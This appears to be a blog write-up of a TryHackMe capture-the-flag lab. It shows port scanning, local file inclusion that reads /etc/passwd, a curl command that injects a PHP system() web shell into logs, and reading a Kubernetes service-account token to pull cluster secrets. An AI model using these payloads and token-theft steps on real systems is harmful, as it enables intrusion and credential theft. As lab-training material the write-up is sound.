[TryHackMe] Island Orchestration

[TryHackMe] Island Orchestration

https://tryhackme.com/room/islandorchestration

·

6 min read

Looking for the next holiday destination? Look no further than the Islands of Orchestration.

Check out the best tropical islands to visit on your next vacation!

Please allow 4 to 5 minutes for the VM to boot.

Footprinting

Open ports

Nmap scan:

kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.158.170
PORT     STATE SERVICE   REASON
22/tcp   open  ssh       syn-ack ttl 60
80/tcp   open  http      syn-ack ttl 58
8443/tcp open  https-alt syn-ack ttl 59
kali@kali:~$ sudo nmap -v10 -sC -sV -p22,80 -oA nse 10.10.158.170
PORT     STATE SERVICE       REASON         VERSION
22/tcp   open  ssh           syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpKksU81PRNTKP1wxKXB9jq0Yk6id6JCuj4gYTAPk932sjBdUV4OhoMBP1m2cITHGWBWiE02KzRSkgL9X0FZL6CJRxo09N2uHXp6XT5+V+VMf1/5B1xgETNdpqgltDpqYudiKpNQzRpkvvtvCntDr+R0/4LWi7CsmII2wYFSnZ8/8UtueRCGue3Mn9oeUp1R+m5yODXfJHgcHmvHsdbx1JX/7dzwI8QSFNhnXcQwRFkRcNJBmYjlMq1SvqXQMzgR70dIv/9zfFIROPyjfLkeGsmLBEflsPmLo8Nt5CxQzUzx5w/PcnRsTv+X6syJXGjS6pD82hgPH/AtZGaNePAvcQjNPzYF2ZWB6WcMWJROMqeWYasava17FZOyEqteIsW0/JeXIZroSJT792OaGH/8nwqkLNmLE2Ab54GjunAeZEdb3MB2qeQ6iszeBCutm+CZr9HI4aRTgmfdCIRPuJJxqQeSCpLb0kNdvt36OFCmTpMMdaj9WSaFbl7Ywvd0WIVn0=
|   256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDJH2hRXWCeM4AC7WvCY/PpWUXdSiNB+E05tW7LGCL0R6WTJLTCKpmKMWdaf3PbDMgPJlR9GzaPhOvUBFZ0uI8U=
|   256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvap+hnXqIVCd8pv3lHrx6kbI2FqAazMvM3mjg2uiE4
80/tcp   open  http          syn-ack ttl 58 Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Best tropical islands
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
8443/tcp open  ssl/https-alt syn-ack ttl 59
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: aa05350c-1242-4ede-9fd1-cc21614d241c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Sat, 25 Jun 2022 13:40:30 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: e9c5d6f6-8de6-408b-a6b6-23bb23505002
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Sat, 25 Jun 2022 13:40:27 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 167dd9a9-2f0b-43d5-a511-49292ae5a324
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Sat, 25 Jun 2022 13:40:28 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:192.168.49.2, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-05T23:39:08
| Not valid after:  2025-01-05T23:39:08
| MD5:   6c2d 583d a93a c670 295b 25d1 c210 72f9
| SHA-1: 795d 7485 acbd c4c8 05e7 094e 029f 27fd 4493 3570
| -----BEGIN CERTIFICATE-----
| MIID3DCCAsSgAwIBAgIBAjANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
[...]
| kn7y+oLMzQg3jtEK14pJwyX4EVV9o7t047sDKFisyrY=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1

HTTP

The main web page contains links to the top 5 islands, for example:

>>>
GET /?page=fiji.php HTTP/1.1
Host: 10.10.158.170

<<<
Fiji

Though this country has some 322 islands, less than a third are inhabited. Most of the action happens in the western islands, but no matter where you go, this is heaven.
Any time the name Fiji is heard, visions of beaches and tropical ocean dance in people’s head. There’s a good reason for that — because this place is one of the most incredible destinations in the world, and with so many islands to offer, you’re bound to find one you like.
It’s a popular destination with young people and honeymooners, with something for everyone on offer — diving, sailing, snorkeling, whale watching, peaceful luxury, and much more!

Local File Inclusion

We see the page GET parameter is a link to a PHP page. Therefore, this input might be vulnerable to LFI, which allows attackers to read arbitrary files in the server's filesystem:

>>>
GET /?page=/etc/passwd HTTP/1.1
Host: 10.10.158.170

<<<
root:x:0:0:root:/root:/bin/bash
[...]
libuuid:x:100:101::/var/lib/libuuid:/bin/sh

LFI to RCE (rabbit holes)

A common way to get remote code execution from an RCE is to read injected PHP logs in a logged parameter (e.g. URL, User-Agent):

kali@kali:~$ curl -A '<?php system($_request["c"])?>' 'http://10.10.158.170?page=/var/log/apache2/access.log&c=id'
[EMPTY]

However, the default Apache log file doesn't exist :/

>>>
GET /?page=/var/log/apache2/access.log HTTP/1.1
Host: 10.10.158.170

<<<
Sorry, <code>/var/log/apache2/access.log</code> does not exist.

Note this error message is actually true, as /var/apache2 exists, and /var/apache1337 doesn't:

>>>
GET /?page=/var/log/apache2/ HTTP/1.1
Host: 10.10.158.170

<<<
[Empty]
>>>
GET /?page=/var/log/apache1337/ HTTP/1.1
Host: 10.10.158.170

<<<
Sorry, <code>/var/log/apache1337/</code> does not exist.

In the Apache's configurations, only the error logs are set:

>>>
GET /?page=/etc/apache2/apache2.conf HTTP/1.1
Host: 10.10.158.170

<<<
ErrorLog ${APACHE_LOG_DIR}/error.log
>>>
GET /?page=/etc/apache2/envvars HTTP/1.1
Host: 10.10.158.170

<<<
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX

Finally, I used LFISuite to automatically look for sensitive files:

kali@kali:~$ git clone https://github.com/D35m0nd142/LFISuite
kali@kali:~$ python2.7 ./LFISuite/lfisuite.py
--------------------
 1) Exploiter
 2) Scanner
 x) Exit
--------------------
 -> 2
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
[?] Do you want to enable TOR proxy ? (y/n) n
[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] -> pathtotest.txt
[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') -> http://10.10.158.170/?page=

But only 2 files were disclosed:

http://10.10.158.170/?page=/etc/passwd
http://10.10.158.170/?page=/etc/group

Therefore, let's see what's on port 8443.

Anonymous Kubernetes

The 8443 port is not accessible for anonymous users:

>>>
GET / HTTP/1.1
Host: 10.10.207.246:8443

<<<
HTTP/2 403 Forbidden
Audit-Id: 5c12690e-865f-44da-b9cb-12854f381d38
Cache-Control: no-cache, private
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
Content-Length: 233

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

  },
  "code": 403
}

The response disclosed the X-Kubernetes-Pf-Flowschema-Uid and X-Kubernetes-Pf-Prioritylevel-Uid headers. Then, the server is serving a Kubernetes API:

Kubernetes is an open source container orchestration engine for automating deployment, scaling, and management of containerized applications. The open source project is hosted by the Cloud Native Computing Foundation (CNCF).

As the documentation says, our request above is forbidden because providing no Bearer token means we are requesting the API as an anonymous user:

A request providing no bearer token would be treated as an anonymous request.

Also, setting an invalid JWT is unauthorized:

On a server with token authentication configured, and anonymous access enabled, a request providing an invalid bearer token would receive a 401 Unauthorized error.

>>>
GET / HTTP/2
Host: 10.10.158.170:8443
Authorization: Bearer foobar

<<<
HTTP/2 401 Unauthorized

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}

Then, I tried to impersonate an arbitrary user, e.g. admin:

>>>
GET / HTTP/2
Host: 10.10.158.170:8443
Impersonate-User: admin

<<<
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "users \"admin\" is forbidden: User \"system:anonymous\" cannot impersonate resource \"users\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "name": "admin",
    "kind": "users"
  },
  "code": 403
}

However, anonymous users cannot impersonate users :/.

LFI + JWT = secrets

More hacking methodologies are shared in PayloadAllTheThings. In particular, it is possible to exploit LFI to steal a user's token:

>>>
GET /?page=/var/run/secrets/kubernetes.io/serviceaccount/token HTTP/1.1
Host: 10.10.158.170

<<<
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ

Even if we cannot impersonate a privileged account with that token:

>>>
GET /api/v1/namespaces/kube-system/secrets/ HTTP/2
Host: 10.10.158.170:8443
Accept: application/json
Impersonate-User: null
Impersonate-Group: system:masters
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ

<<<
  "message": "users \"null\" is forbidden: User \"system:serviceaccount:default:islands\" cannot impersonate resource \"users\" in API group \"\" at the cluster scope",

We may read Kubernetes's secrets in the default namespace:

>>>
GET /api/v1/namespaces/default/secrets/ HTTP/2
Host: 10.10.158.170:8443
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ

<<<
[...]
     "data": {
        "flag": "Zm[...]X0="
      }<<<
[...]

Finally, the Base64-decoded flag in CyberChef is flag{08[...]41}

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!